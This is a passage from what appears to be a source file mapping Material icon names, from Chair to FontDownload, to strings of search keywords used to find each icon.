photography zoom',\n  Chair:\n    'comfort couch decoration furniture home house living lounging loveseat room seating sofa',\n  ChairAlt: 'cahir furniture home house kitchen lounging seating table',\n  Chalet:\n    'architecture cottage estate home house maps place real residence residential stay traveling',\n  ChangeCircle: 'around arrows direction navigation rotate',\n  ChangeHistory: 'shape triangle',\n  ChargingStation:\n    'Android battery cell device electric energy hardware iOS instant lightning mobile phone tablet thunderbolt',\n  Chat: 'bubble comment communicate feedback message speech talk text',\n  ChatBubble: 'comment communicate feedback message speech talk text',\n  ChatBubbleOutline: 'comment communicate feedback message speech talk text',\n  Check:\n    'DISABLE_IOS checkmark complete confirm correct disable_ios done enter okay purchased select success tick yes',\n  CheckBox:\n    'approved button checkmark component control form ok selected selection square success tick toggle ui yes',\n  CheckBoxOutlineBlank:\n    'button checkmark component control dashed deselected empty form selection square tick toggle ui',\n  CheckCircle:\n    'approve checkmark complete confirm done download finished ok select success tick upload validate verified yes',\n  CheckCircleOutline:\n    'approve checkmark complete done finished ok select success tick validate verified yes',\n  Checklist:\n    'alignment approve complete doc done editing editor format mark notes ok select spreadsheet text tick type validate verified writing yes',\n  ChecklistRtl:\n    'alignment approve complete doc done editing editor format mark notes ok select spreadsheet text tick type validate verified writing yes',\n  Checkroom: 'check closet clothes coat hanger',\n  ChevronLeft: 'DISABLE_IOS arrows back direction disable_ios triangle',\n  ChevronRight: 'arrows direction forward triangle',\n  ChildCare: 'babies baby children face infant kids newborn toddler young',\n  ChildFriendly:\n    'baby care carriage children infant kid newborn stroller toddler young',\n  ChromeReaderMode: 'text',\n  Church: 'christianity ideology religion spiritual worship',\n  Circle:\n    'angle bullet button dot eye fish full geometry image lens moon panorama period photography picture radio wide',\n  CircleNotifications: 'active alarm alert bell chime notify reminder ring sound',\n  Class:\n    'archive bookmark category favorite item label library reading remember ribbon save tag',\n  CleanHands: 'bacteria disinfect germs gesture sanitizer',\n  CleaningServices: 'dust sweep',\n  Clear:\n    'allowed back cancel correct cross delete disable erase exit not remove times',\n  ClearAll: 'delete document erase format lines list notifications wipe',\n  Close: 'allowed cancel clear cross disable exit not remove status stop times',\n  ClosedCaption:\n    'accessible alphabet character decoder font language letters media movies subtitles symbol text tv type',\n  ClosedCaptionDisabled:\n    'accessible alphabet character decoder enabled font language letters media movies off slash subtitles symbol text tv type',\n  ClosedCaptionOff:\n    'accessible alphabet character decoder font language letters media movies outline subtitles symbol text tv type',\n  CloseFullscreen: 'action arrows collapse direction minimize',\n  Cloud: 'climate connection internet network queue sky temperature upload weather',\n  CloudCircle:\n    'application backup connection drive files folders internet network sky storage upload',\n  CloudDone:\n    'application approve backup checkmark complete connection drive files folders internet network ok select sky storage tick upload validate verified yes',\n  CloudDownload:\n    'application arrow backup connection drive files folders internet network sky storage upload',\n  CloudOff:\n    'application backup connection disabled drive enabled files folders internet network offline sky slash storage upload',\n  CloudQueue: 'climate connection internet network sky temperature upload weather',\n  CloudSync:\n    'application around backup connection drive files folders inprogress internet loading network refresh renew rotate sky storage turn upload',\n  CloudUpload:\n    'application arrow backup connection download drive files folders internet network sky storage',\n  Co2: 'carbon chemical dioxide gas',\n  Code: 'brackets css developer engineering html parenthesis platform',\n  CodeOff:\n    'brackets css developer disabled enabled engineering html on platform slash',\n  Coffee: 'beverage cup drink mug plate set tea',\n  CoffeeMaker: 'appliances beverage cup drink machine mug',\n  Collections:\n    'album gallery image landscape library mountains photography picture stack',\n  CollectionsBookmark:\n    'album archive favorite gallery label library reading remember ribbon save stack tag',\n  Colorize: 'color dropper extract eye picker pipette tool',\n  ColorLens: 'art paint pallet',\n  Comment: 'bubble chat communicate document feedback message note outline speech',\n  CommentBank:\n    'archive bookmark bubble cchat communicate favorite label library message remember ribbon save speech tag',\n  CommentsDisabled:\n    'bubble chat communicate enabled feedback message offline on slash speech',\n  Commit: 'accomplish bind circle dedicate execute line perform pledge',\n  Commute: 'automobile car direction maps public train transportation trip vehicle',\n  Compare:\n    'adjustment editing edits enhance fix images photography photos scan settings',\n  CompareArrows:\n    'collide directional facing left pointing pressure push right together',\n  CompassCalibration:\n    'connection internet location maps network refresh service signal wifi wireless',\n  Compost:\n    'bio compostable decomposable decompose green leafs nature organic plant recycle sustainability sustainable',\n  Compress: 'arrows collide pressure push together',\n  Computer:\n    'Android chrome desktop device hardware iOS laptop mac monitor pc web window',\n  ConfirmationNumber: 'admission entertainment event numbers ticket',\n  ConnectedTv:\n    'Android airplay chrome desktop device display hardware iOS mac monitor screencast streaming television web window wireless',\n  ConnectingAirports:\n    'aircraft airplanes flights flying mode signal transportation travel trip',\n  ConnectWithoutContact: 'communicating distance people signal socialize',\n  Construction:\n    'build carpenter equipment fix hammer improvement industrial industry repair tools wrench',\n  ContactEmergency:\n    'account avatar call cell contacts face human information mobile people person phone profile user',\n  Contactless:\n    'applepay bluetooth cash connection connectivity credit device finance payment signal tap transaction wifi wireless',\n  ContactMail:\n    'account address avatar communicate email face human information message people person profile user',\n  ContactPage:\n    'account avatar data document drive face folders human people person profile sheet slide storage user writing',\n  ContactPhone:\n    'account avatar call communicate face human information message mobile number people person profile user',\n  Contacts:\n    'account address avatar call cell face human information mobile number people person phone profile user',\n  ContactSupport:\n    '? alert announcement bubble chat comment communicate help information mark message punctuation speech symbol vquestion',\n  ContentCopy: 'cut document duplicate file multiple paste stack',\n  ContentCut: 'copy document file paste scissors trim',\n  ContentPaste: 'clipboard copy cut document file multiple',\n  ContentPasteGo: 'clipboard disabled document enabled file slash',\n  ContentPasteOff: 'clipboard disabled document enabled file slash',\n  ContentPasteSearch: 'clipboard document file find trace track',\n  Contrast:\n    'black dark editing effect filter grayscale images photography pictures settings theme white',\n  ControlCamera: 'adjust arrows center direction left move reposition right',\n  ControlPoint: '+ add circle plus',\n  ControlPointDuplicate: '+ add circle multiple new plus symbol',\n  Cookie: 'biscuit cookies data dessert wafer',\n  CoPresent: 'arrow co-present presentation screen share slides togather website',\n  CopyAll: 'content cut dashed document file multiple page paper past',\n  Copyright: 'alphabet character circle emblem font legal letters owner symbol text',\n  Coronavirus: '19 bacteria covid disease germs illness sick social',\n  CorporateFare:\n    'architecture building business estate organization place real residence residential shelter',\n  Cottage:\n    'architecture beach estate home house lake lodge maps place real residence residential stay traveling',\n  Countertops: 'home house kitchen sink table',\n  Create: 'compose editing input item new pencil write writing',\n  CreateNewFolder:\n    '+ add data directory document drive file plus sheet slide storage symbol',\n  CreditCard:\n    'bill cash charge coin commerce cost creditcard currency dollars finance information money online payment price shopping symbol',\n  CreditCardOff:\n    'bill cash charge coin commerce cost currency disabled dollars enabled finance money online payment price shopping slash symbol',\n  CreditScore:\n    'approve bill card cash check coin commerce complete cost currency dollars done finance loan mark money ok online payment select symbol tick validate verified yes',\n  Crib: 'babies baby bassinet bed children cradle infant kid newborn sleeping toddler',\n  CrisisAlert:\n    '! attention bullseye caution danger error exclamation important mark notification symbol target warning',\n  Crop: 'adjustments area editing frame images photos rectangle settings size square',\n  Crop169:\n    'adjustments area by editing frame images photos picture rectangle settings size square',\n  Crop32:\n    'adjustments area by editing frame images photos picture rectangle settings size square',\n  Crop54:\n    'adjustments area by editing frame images photos picture rectangle settings size square',\n  Crop75:\n    'adjustments area by editing frame images photos picture rectangle settings size square',\n  CropDin:\n    'adjustments area editing frame images photos picture rectangle settings size square',\n  CropFree:\n    'adjustments barcode display editing focus frame image photos qrcode settings size square zoom',\n  CropLandscape:\n    'adjustments area editing frame images photos picture settings size square',\n  CropOriginal:\n    'adjustments area editing frame images photos picture settings size square',\n  CropPortrait:\n    'adjustments area editing frame images photos picture rectangle settings size square',\n  CropRotate:\n    'adjustments area arrows editing frame images photos settings size turn',\n  CropSquare:\n    'adjustments application area components design editing expand frame images interface open photos rectangle screen settings shapes size ui ux website window',\n  CrueltyFree:\n    'animal bunny eco nature rabbit social sustainability sustainable testing',\n  Css: 'alphabet brackets character code developer engineering font html letters platform symbol text type',\n  CurrencyBitcoin:\n    'bill blockchain card cash commerce cost credit digital dollars finance franc money online payment price shopping symbol',\n  CurrencyExchange:\n    '360 around arrows cash coin commerce direction dollars inprogress money pay renew rotate sync turn universal',\n  CurrencyFranc:\n    'bill card cash coin commerce cost credit dollars finance money online payment price shopping symbol',\n  CurrencyLira:\n    'bill card cash coin commerce cost credit dollars finance money online payment price shopping symbol',\n  CurrencyPound:\n    'bill card cash coin commerce cost credit dollars finance money online payment price shopping symbol',\n  CurrencyRuble:\n    'bill card cash coin commerce cost credit dollars finance money online payment price shopping symbol',\n  CurrencyRupee:\n    'bill card cash coin commerce cost credit dollars finance money online payment price shopping symbol',\n  CurrencyYen:\n    'bill card cash coin commerce cost credit dollars finance money online payment price shopping symbol',\n  CurrencyYuan:\n    'bill card cash coin commerce cost credit dollars finance money online payment price shopping symbol',\n  Curtains: 'blinds cover nest open shutter sunshade',\n  CurtainsClosed: 'blinds cover nest shutter sunshade',\n  Cyclone: 'crisis disaster natural rain storm water weather winds',\n  Dangerous: 'broken fix no sign stop update warning wrong',\n  DarkMode: 'application device interface moon night silent theme ui ux website',\n  Dashboard: 'cards format grid layout rectangle shapes square view website',\n  DashboardCustomize: 'cards format layout rectangle shapes square website',\n  DataArray: 'brackets coder parentheses',\n  DataExploration:\n    'analytics arrow chart diagram infographic measure metrics statistics tracking',\n  DataObject: 'brackets coder parentheses',\n  DataSaverOff:\n    'analytics bars chart diagram donut infographic measure metrics ring statistics tracking',\n  DataSaverOn:\n    '+ add analytics chart diagram infographic measure metrics new plus ring statistics symbol tracking',\n  DataThresholding: 'hidden privacy thresold',\n  DataUsage:\n    'analytics chart circle diagram infographic measure metrics statistics tracking',\n  DateRange:\n    'agenda calendar event month remember reminder schedule time today week',\n  Deblur: 'adjust editing enhance face image lines photography sharpen',\n  Deck: 'chairs furniture garden home house outdoors outside patio social terrace umbrella yard',\n  Dehaze: 'adjust editing enhance image lines photography remove',\n  Delete: 'bin garbage junk recycle remove trashcan',\n  DeleteForever: 'all bin cancel clear exit garbage junk recycle remove trashcan',\n  DeleteOutline: 'bin can garbage remove trash',\n  DeleteSweep: 'bin garbage junk recycle remove trashcan',\n  DeliveryDining:\n    'food meal restaurant scooter takeout transportation vehicle vespa',\n  DensityLarge: 'horizontal lines rules',\n  DensityMedium: 'horizontal lines rules',\n  DensitySmall: 'horizontal lines rules',\n  DepartureBoard:\n    'automobile bus cars clock maps public schedule time transportation travel vehicle',\n  Description:\n    'article bill data document drive file folders invoice item notes page paper sheet slide text writing',\n  Deselect: 'all disabled enabled off selection slash square tool',\n  DesignServices: 'compose create draft editing input pencil ruler write writing',\n  DesktopAccessDisabled:\n    'Android apple chrome device display enabled hardware iOS mac monitor offline pc screen slash web window',\n  DesktopMac:\n    'Android apple chrome device display hardware iOS monitor pc screen web window',\n  DesktopWindows:\n    'Android chrome device display hardware iOS mac monitor pc screen television tv web',\n  Details: 'editing enhance image photography sharpen triangle',\n  DeveloperBoard: 'computer development devkit hardware microchip processor',\n  DeveloperBoardOff:\n    'computer development disabled enabled hardware microchip on processor slash',\n  DeveloperMode:\n    'Android bracket cell code development device engineer hardware iOS mobile phone tablet',\n  DeviceHub:\n    'Android circle computer desktop hardware iOS laptop mobile monitor phone square tablet triangle watch wearable web',\n  Devices:\n    'Android computer desktop hardware iOS laptop mobile monitor phone tablet watch wearable web',\n  DevicesFold: 'Android cell dashed foldable hardware iOS mobile phone tablet',\n  DevicesOther:\n    'Android cell chrome desktop gadget hardware iOS ipad mac mobile monitor phone smartwatch tablet virtual_reality vr wearables window',\n  DeviceThermostat: 'celsius fahrenheit temperature thermometer',\n  DeviceUnknown:\n    '? Android assistance cell hardware help iOS information mark mobile phone punctuation question support symbol tablet',\n  DialerSip:\n    'alphabet call cell character contact device font hardware initiation internet letters mobile over protocol routing session symbol telephone text type voice',\n  Dialpad: 'buttons call contact device dots mobile numbers phone',\n  Diamond: 'fashion gems jewelry logo retail valuables',\n  Difference: 'compare content copy cut document duplicate file multiple past stack',\n  Dining: 'cafeteria cutlery diner eating fork room spoon',\n  DinnerDining: 'breakfast food fork lunch meal restaurant spaghetti utensils',\n  Directions: 'arrow maps naviate right route sign traffic',\n  DirectionsBike: 'bicycle human maps person public route transportation',\n  DirectionsBoat: 'automobile cars ferry maps public transportation vehicle',\n  DirectionsBoatFilled: 'automobile cars ferry maps public transportation vehicle',\n  DirectionsBus: 'automobile cars maps public transportation vehicle',\n  DirectionsBusFilled: 'automobile cars maps public transportation vehicle',\n  DirectionsCar: 'automobile cars maps public transportation vehicle',\n  DirectionsCarFilled: 'automobile cars maps public transportation vehicle',\n  DirectionsOff: 'arrow disabled enabled maps right route sign slash traffic',\n  DirectionsRailway:\n    'automobile cars maps public subway train tram transit transportation trolley vehicle',\n  DirectionsRailwayFilled:\n    'automobile cars maps public subway train tram transit transportation trolley vehicle',\n  DirectionsRun: 'body health human jogging maps people person route running walk',\n  DirectionsSubway:\n    'automobile cars maps public railway train tram transit transportation trolley vehicle',\n  DirectionsSubwayFilled:\n    'automobile cars maps public railway train tram transit transportation trolley vehicle',\n  DirectionsTransit:\n    'automobile cars maps metro public railway subway train tram transportation trolley vehicle',\n  DirectionsTransitFilled:\n    'automobile cars maps public railway subway train tram transportation trolley vehicle',\n  DirectionsWalk: 'body human jogging maps people person route run',\n  DirtyLens: 'camera photography picture splat',\n  DisabledByDefault: 'box cancel clear close exit no quit remove square stop',\n  DisabledVisible:\n    'cancel close exit eye no on quit remove reveal see show stop view visibility',\n  DiscFull:\n    '! alert attention caution cd danger error exclamation important mark music notification storage symbol vinyl warning',\n  DisplaySettings:\n    'Android application change chrome desktop details device gear hardware iOS information mac monitor options personal screen service web window',\n  Diversity1:\n    'committee diverse family friends groups heart humans network people persons social team',\n  Diversity2:\n    'committee diverse family friends groups heart humans network people persons social team',\n  Diversity3:\n    'committee diverse family friends groups humans network people persons social team',\n  Dns: 'address bars domain information ip list lookup name network server system',\n  Dock: 'Android cell charger charging connector device hardware iOS mobile phone power station tablet',\n  DocumentScanner:\n    'article data drive file folders notes page paper sheet slide text writing',\n  DoDisturb: 'cancel close denied deny remove silence stop',\n  DoDisturbAlt: 'cancel close denied deny remove silence stop',\n  DoDisturbOff:\n    'cancel close denied deny disabled enabled on remove silence slash stop',\n  DoDisturbOn:\n    'cancel close denied deny disabled enabled off remove silence slash stop',\n  Domain:\n    'apartment architecture building business estate home place real residence residential shelter web www',\n  DomainAdd:\n    '+ apartment architecture building business estate home new place plus real residence residential shelter symbol web www',\n  DomainDisabled:\n    'apartment architecture building business company enabled estate home internet maps office offline on place real residence residential slash website',\n  DomainVerification:\n    'application approve check complete design desktop done interface internet layout mark ok screen select tick ui ux validate verified website window www yes',\n  Done: 'DISABLE_IOS approve checkmark complete disable_ios finished ok select success tick validate verified yes',\n  DoneAll:\n    'approve checkmark complete finished layers multiple ok select stack success tick validate verified yes',\n  DoneOutline:\n    'all approve checkmark complete finished ok select success tick validate verified yes',\n  DoNotDisturb: 'cancel close denied deny neutral remove silence slash stop',\n  DoNotDisturbAlt: 'cancel close denied deny neutral remove silence slash stop',\n  DoNotDisturbOff:\n    'cancel close dash denied deny disabled enabled on remove silence slash stop',\n  DoNotDisturbOn:\n    'cancel close dash denied deny disabled enabled off remove silence slash stop',\n  DoNotDisturbOnTotalSilence: 'busy mute on quiet total',\n  DoNotStep: 'boot disabled enabled feet foot off on shoe slash sneaker steps',\n  DoNotTouch: 'disabled enabled fingers gesture hand off on slash',\n  DonutLarge:\n    'analytics chart circle complete data diagram infographic inprogress, measure metrics pie statistics tracking',\n  DonutSmall:\n    'analytics chart circle data diagram infographic inprogress measure metrics pie statistics tracking',\n  DoorBack: 'closed doorway entrance exit home house',\n  Doorbell: 'alarm home house ringing',\n  DoorFront: 'closed doorway entrance exit home house',\n  DoorSliding: 'automatic doorway double entrance exit glass home house two',\n  DoubleArrow: 'arrows chevron direction multiple navigation right',\n  DownhillSkiing:\n    'athlete athletic body entertainment exercise hobby human people person ski snow social sports travel winter',\n  Download: 'arrow downloads drive install upload',\n  DownloadDone: 'arrows check downloads drive installed ok tick upload',\n  DownloadForOffline: 'arrow circle for install offline upload',\n  Downloading: 'arrow circle downloads install pending progress upload',\n  Drafts: 'document email envelope file letters message read',\n  DragHandle:\n    'application components design interface layout lines menu move screen ui ux website window',\n  DragIndicator:\n    'application circles components design dots drop interface layout mobile monitor move phone screen shape shift tablet ui ux website window',\n  Draw: 'compose create design draft editing input pencil write writing',\n  DriveEta:\n    'automobile cars destination direction estimate maps public transportation travel trip vehicle',\n  DriveFileMove:\n    'arrows data direction document folders right sheet side slide storage',\n  DriveFileMoveRtl:\n    'arrows data direction document folders left sheet side slide storage',\n  DriveFileRenameOutline:\n    'compose create draft editing input marker pencil write writing',\n  DriveFolderUpload: 'arrow data document file sheet slide storage',\n  Dry: 'air bathroom dryer fingers gesture hand wc',\n  DryCleaning: 'hanger hotel laundry places service towel',\n  Duo: 'call chat conference device video',\n  Dvr: 'Android audio chrome computer desktop device display electronic hardware iOS laptop list mac monitor recorder screen tv video web window',\n  DynamicFeed: 'layer live mail_outline multiple post refresh update',\n  DynamicForm: 'code electric fast lightning lists questionnaire thunderbolt',\n  Earbuds: 'accessory audio earphone headphone listen music sound',\n  EarbudsBattery: 'accessory audio charging earphone headphone listen music sound',\n  East: 'arrow directional maps navigation right',\n  EdgesensorHigh:\n    'Android cell device hardware iOS mobile move phone sensitivity tablet vibrate',\n  EdgesensorLow:\n    'Android cell device hardware iOS mobile move phone sensitivity tablet vibrate',\n  Edit: 'compose create editing input new pencil write writing',\n  EditAttributes:\n    'approve attribution check complete done mark ok select tick validate verified yes',\n  EditCalendar:\n    'compose create date day draft editing event month pencil schedule write writing',\n  EditLocation: 'destination direction gps maps pencil pin place stop write',\n  EditLocationAlt: 'pencil pin',\n  EditNote: 'compose create draft editing input lines pencil text write writing',\n  EditNotifications:\n    'active alarm alert bell chime compose create draft editing input new notify pencil reminder ring sound write writing',\n  EditOff:\n    'compose create disabled draft editing enabled input new offline on pencil slash write writing',\n  EditRoad: 'destination direction highway maps pencil street traffic',\n  Egg: 'breakfast brunch food',\n  EggAlt: 'breakfast brunch food',\n  EighteenMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  EightK:\n    '8000 8K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  EightKPlus:\n    '+ 7000 8K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  EightMp:\n    'camera digit font image letters megapixels numbers quality resolution symbol text type',\n  EightteenMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  Eject: 'arrow disc drive dvd player remove triangle up usb',\n  Elderly: 'body cane human old people person senior',\n  ElderlyWoman:\n    'body cane female gender girl human lady old people person senior social symbol women',\n  ElectricalServices: 'charge cord plug power wire',\n  ElectricBike:\n    'automobile cars ebike electricity maps scooter thunderbolt transportation travel vehicle vespa',\n  ElectricBolt: 'energy fast instant lightning nest thunderbolt',\n  ElectricCar:\n    'automobile cars electricity maps thunderbolt transportation travel vehicle',\n  ElectricMeter:\n    'energy fast instant lightning measure nest thunderbolt usage voltage volts',\n  ElectricMoped:\n    'automobile bike cars maps scooter thunderbolt transportation travel vehicle vespa',\n  ElectricRickshaw:\n    'automobile cars india maps thunderbolt transportation truck vehicle',\n  ElectricScooter:\n    'automobile bike cars directions maps thunderbolt transportation vehicle vespa',\n  Elevator: 'body down human people person up',\n  ElevenMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  Email: 'envelope letters message note post receive send write',\n  Emergency: 'asterisk clinic health hospital maps medical symbol',\n  EmergencyRecording:\n    'alert attention camera caution danger filming hardware image important motion notification picture videography warning',\n  EmergencyShare: 'alert attention caution danger important notification warning',\n  EMobiledata: 'alphabet font letters text type',\n  EmojiEmotions:\n    '+ add emoticon expressions face feelings glad happiness happy icons insert like mood new person pleased plus smiley smiling social survey symbol',\n  EmojiEvents:\n    'achievement award chalice champion cup first prize reward sport trophy winner',\n  EmojiFoodBeverage: 'coffee cup dring drink mug plate set tea',\n  EmojiNature: 'animal bee daisy flower honey insect ladybug petals spring summer',\n  EmojiObjects: 'creative idea lamp lightbulb solution thinking',\n  EmojiPeople: 'arm body greeting human person social wave waving',\n  EmojiSymbols: 'ampersand character hieroglyph music note percent sign',\n  EmojiTransportation:\n    'architecture automobile building cars commute company direction estate maps office place public real residence residential shelter travel vehicle',\n  EnergySavingsLeaf: 'eco leaves nest usage',\n  Engineering:\n    'body cogs cogwheel construction fixing gears hat helmet human maintenance people person setting worker',\n  EnhancedEncryption:\n    '+ add locked new password plus privacy private protection safety secure security symbol',\n  Equalizer:\n    'adjustment analytics chart data graph measure metrics music noise sound static statistics tracking volume',\n  Error:\n    '! alert announcement attention caution circle danger exclamation feedback important mark notification problem symbol warning',\n  ErrorOutline:\n    '! alert announcement attention caution circle danger exclamation feedback important mark notification problem symbol warning',\n  Escalator: 'down staircase up',\n  EscalatorWarning: 'body child human kid parent people person',\n  Euro: 'bill card cash coin commerce cost credit currency dollars euros finance money online payment price profit shopping symbol',\n  EuroSymbol:\n    'bill card cash coin commerce cost credit currency dollars finance money online payment price profit',\n  Event: 'agenda calendar date item mark month range remember reminder today week',\n  EventAvailable:\n    'agenda approve calendar check complete done item mark ok schedule select tick time validate verified yes',\n  EventBusy:\n    'agenda calendar cancel clear close date exit item no remove schedule stop time unavailable',\n  EventNote: 'agenda calendar date item schedule text time writing',\n  EventRepeat:\n    'around calendar date day inprogress loading month refresh renew rotate schedule turn',\n  EventSeat: 'assigned bench chair furniture reservation row section sit',\n  EvStation:\n    'automobile cars charger charging electricity filling fuel gasoline home maps places power station thunderbolt transportation vehicle',\n  ExitToApp:\n    'application arrow back components design export interface layout leave login logout mobile monitor move output phone pointing quit register right screen signin signout signup tablet ux website window',\n  Expand: 'arrows compress enlarge grow move push together',\n  ExpandCircleDown: 'arrows chevron collapse direction expandable list more',\n  ExpandLess: 'arrows chevron collapse direction expandable list up',\n  ExpandMore: 'arrows chevron collapse direction down expandable list',\n  Explicit:\n    'adult alphabet character content font language letters media movies music parent rating supervision symbol text type',\n  Explore:\n    'compass destination direction east location maps needle north south travel west',\n  ExploreOff:\n    'compass destination direction disabled east enabled location maps needle north slash south travel west',\n  Exposure:\n    'add brightness contrast editing effect image minus photography picture plus settings subtract',\n  Extension: 'add-ons app extended game item jigsaw piece plugin puzzle shape',\n  ExtensionOff: 'disabled enabled extended jigsaw piece puzzle shape slash',\n  Face: 'account avatar emoji eyes human login logout people person profile recognition security social thumbnail unlock user',\n  Face2:\n    'account emoji eyes human login logout people person profile recognition security social thumbnail unlock user',\n  Face3:\n    'account emoji eyes human login logout people person profile recognition security social thumbnail unlock user',\n  Face4:\n    'account emoji eyes human login logout people person profile recognition security social thumbnail unlock user',\n  Face5:\n    'account emoji eyes human login logout people person profile recognition security social thumbnail unlock user',\n  Face6:\n    'account emoji eyes human login logout people person profile recognition security social thumbnail unlock user',\n  Facebook: 'brand logo social',\n  FaceRetouchingNatural:\n    'artificial automatic automation custom editing effect emoji emotion faces genai image intelligence magic photography settings smart sparkle star tag',\n  FaceRetouchingOff:\n    'disabled editing effect emoji emotion enabled faces image natural photography settings slash tag',\n  FactCheck: 'approve complete done list mark ok select tick validate verified yes',\n  Factory: 'industry manufacturing warehouse',\n  FamilyRestroom: 'bathroom children father gender kids mother parents wc',\n  Fastfood: 'drink hamburger maps meal places',\n  FastForward: 'control ff media music play speed time tv video',\n  FastRewind: 'back control media music play speed time tv video',\n  Favorite: 'appreciate health heart like love remember save shape success',\n  FavoriteBorder: 'health heart like love outline remember save shape success',\n  Fax: 'machine office phone send',\n  FeaturedPlayList: 'audio collection highlighted item music playlist recommended',\n  FeaturedVideo:\n    'advertisement advertisment highlighted item play recommended watch,advertised',\n  Feed: 'article headline information newspaper public social timeline',\n  Feedback:\n    '! alert announcement attention bubble caution chat comment communicate communication conversation danger error exclamation failed important mark message notification service sms speech symbol warning',\n  Female: 'gender girl lady social symbol woman women',\n  Fence:\n    'backyard barrier boundaries boundary entrance flowers garden gate grass home house nature nest outdoor outside protection',\n  Festival: 'circus event local maps places tent tour travel',\n  FiberDvr:\n    'alphabet character digital electronics font letters network recorder symbol text tv type video',\n  FiberManualRecord: 'circle dot play watch',\n  FiberNew: 'alphabet character font letters network symbol text type',\n  FiberPin: 'alphabet character font letters network symbol text type',\n  FiberSmartRecord: 'circle dot play watch',\n  FifteenMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  FileCopy:\n    'bill clone content cut document duplicate invoice item multiple page past stack',\n  FileDownload: 'arrows downloads drive export install upload',\n  FileDownloadDone: 'arrows check downloads drive installed tick upload',\n  FileDownloadOff:\n    'arrow disabled drive enabled export install on save slash upload',\n  FileOpen: 'arrow document drive left page paper',\n  FilePresent:\n    'clip data document drive folders note paper reminder sheet slide storage writing',\n  FileUpload: 'arrows download drive export',\n  Filter: 'editing effect image landscape mountains photography picture settings',\n  Filter1:\n    'digit editing effect images multiple numbers photography pictures settings stack symbol',\n  Filter2:\n    'digit editing effect images multiple numbers photography pictures settings stack symbol',\n  Filter3:\n    'digit editing effect images multiple numbers photography pictures settings stack symbol',\n  Filter4:\n    'digit editing effect images multiple numbers photography pictures settings stack symbol',\n  Filter5:\n    'digit editing effect images multiple numbers photography pictures settings stack symbol',\n  Filter6:\n    'digit editing effect images multiple numbers photography pictures settings stack symbol',\n  Filter7:\n    'digit editing effect images multiple numbers photography pictures settings stack symbol',\n  Filter8:\n    'digit editing effect images multiple numbers photography pictures settings stack symbol',\n  Filter9:\n    'digit editing effect images multiple numbers photography pictures settings stack symbol',\n  Filter9Plus:\n    '+ digit editing effect images multiple numbers photography pictures settings stack symbol',\n  FilterAlt: 'edit funnel options refine sift',\n  FilterAltOff: '[offline] disabled edit funnel options refine sift slash',\n  FilterBAndW:\n    'black contrast editing effect grayscale images photography pictures settings white',\n  FilterCenterFocus: 'camera dot edit image photography picture',\n  FilterDrama: 'camera cloud editing effect image photography picture sky',\n  FilterFrames:\n    'boarders border camera center editing effect filters focus image options photography picture',\n  FilterHdr: 'camera editing effect image mountains photography picture',\n  FilterList: 'lines organize sort',\n  FilterListOff: '[offline] alt disabled edit options refine sift slash',\n  FilterNone: 'multiple square stack',\n  FilterTiltShift:\n    'blur center dashed editing effect focus images photography pictures',\n  FilterVintage: 'editing effect flower images photography pictures',\n  FindInPage:\n    'data document drive file folders glass look magnifying paper search see sheet slide writing',\n  FindReplace:\n    'around arrows glass inprogress loading look magnifying refresh renew rotate search see',\n  Fingerprint:\n    'biometrics identification identity reader thumbprint touchid verification',\n  FireExtinguisher: 'emergency water',\n  Fireplace: 'chimney flame home house living pit room warm winter',\n  FirstPage: 'arrow back chevron left rewind',\n  Fitbit: 'athlete athletic exercise fitness hobby logo',\n  FitnessCenter:\n    'athlete dumbbell exercise gym health hobby places sport weights workout',\n  FitScreen: 'enlarge format layout reduce scale size',\n  FiveG:\n    '5g alphabet cellular character data digit font letters mobile network numbers phone signal speed symbol text type wifi',\n  FiveK:\n    '5000 5K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  FiveKPlus:\n    '+ 5000 5K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  FiveMp:\n    'camera digit font image letters megapixels numbers quality resolution symbol text type',\n  FivteenMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  Flag: 'country destination emoji flags goal landmark location milepost milestone place pole report save social start world',\n  FlagCircle: 'country goal mark nation report round start',\n  Flaky:\n    'approve check close complete contrast done exit mark no ok options select stop tick verified yes',\n  Flare:\n    'bright editing effect images lensflare light photography pictures shine sparkle star sun',\n  FlashAuto: 'camera electric energy fast instant lightning thunderbolt',\n  FlashlightOff: 'disabled enabled on slash',\n  FlashlightOn: 'disabled enabled off slash',\n  FlashOff:\n    'camera disabled electric enabled energy fast instant lightning on slash thunderbolt',\n  FlashOn:\n    'camera disabled electric enabled energy fast instant lightning off slash thunderbolt',\n  Flatware:\n    'cafeteria cutlery diner dining dinner eating food fork knife local meal restaurant room spoon utensils',\n  Flight:\n    'aircraft airplanes airport flights flying mode signal transportation travel trip',\n  FlightClass:\n    'aircraft airplanes airport business class first flights flying seat signal transportation travel trip window',\n  FlightLand:\n    'aircraft airplanes airport arrival arriving departing departure flights flying landing signal transportation travel trip',\n  FlightTakeoff:\n    'aircraft airplanes airport arrival arriving departed departing departure flights flying landing signal transportation travel trip',\n  Flip: 'dashed editing image orientation scanning',\n  FlipCameraAndroid:\n    'center editing front image mobile orientation rear reverse rotate turn',\n  FlipCameraIos:\n    'DISABLE_IOS android disable_ios editing front image mobile orientation rear reverse rotate turn',\n  FlipToBack: 'arrangement dashed format front layout move order sort',\n  FlipToFront: 'arrangement back dashed format layout move order sort',\n  Flood: 'crisis disaster flooding natural rain storm water wave weather',\n  Fluorescent: 'bright lamp lightbulb',\n  FlutterDash: 'application bird framework logo mascot open program software source',\n  FmdBad:\n    '! alert attention caution danger destination direction error exclamation important location maps mark notification pin place symbol warning',\n  FmdGood: 'destination direction location maps pin place stop',\n  Folder: 'data directory document drive file folders sheet slide storage',\n  FolderCopy:\n    'content cut data document drive duplicate file folders multiple paste sheet slide storage',\n  FolderDelete:\n    'bin can data document drive file folders garbage remove sheet slide storage trash',\n  FolderOff:\n    '[online] data disabled document drive enabled file folders sheet slash slide storage',\n  FolderOpen: 'data directory document drive file folders sheet slide storage',\n  FolderShared:\n    'account collaboration data directory document drive face human people person profile sheet slide storage team user',\n  FolderSpecial:\n    'bookmark data directory document drive favorite file highlight important marked saved shape sheet slide star storage',\n  FolderZip: 'compress data document drive file folders open sheet slide storage',\n  FollowTheSigns: 'arrow body directional human people person right social',\n  FontDownload:\n    'A alphabet character classification letters square 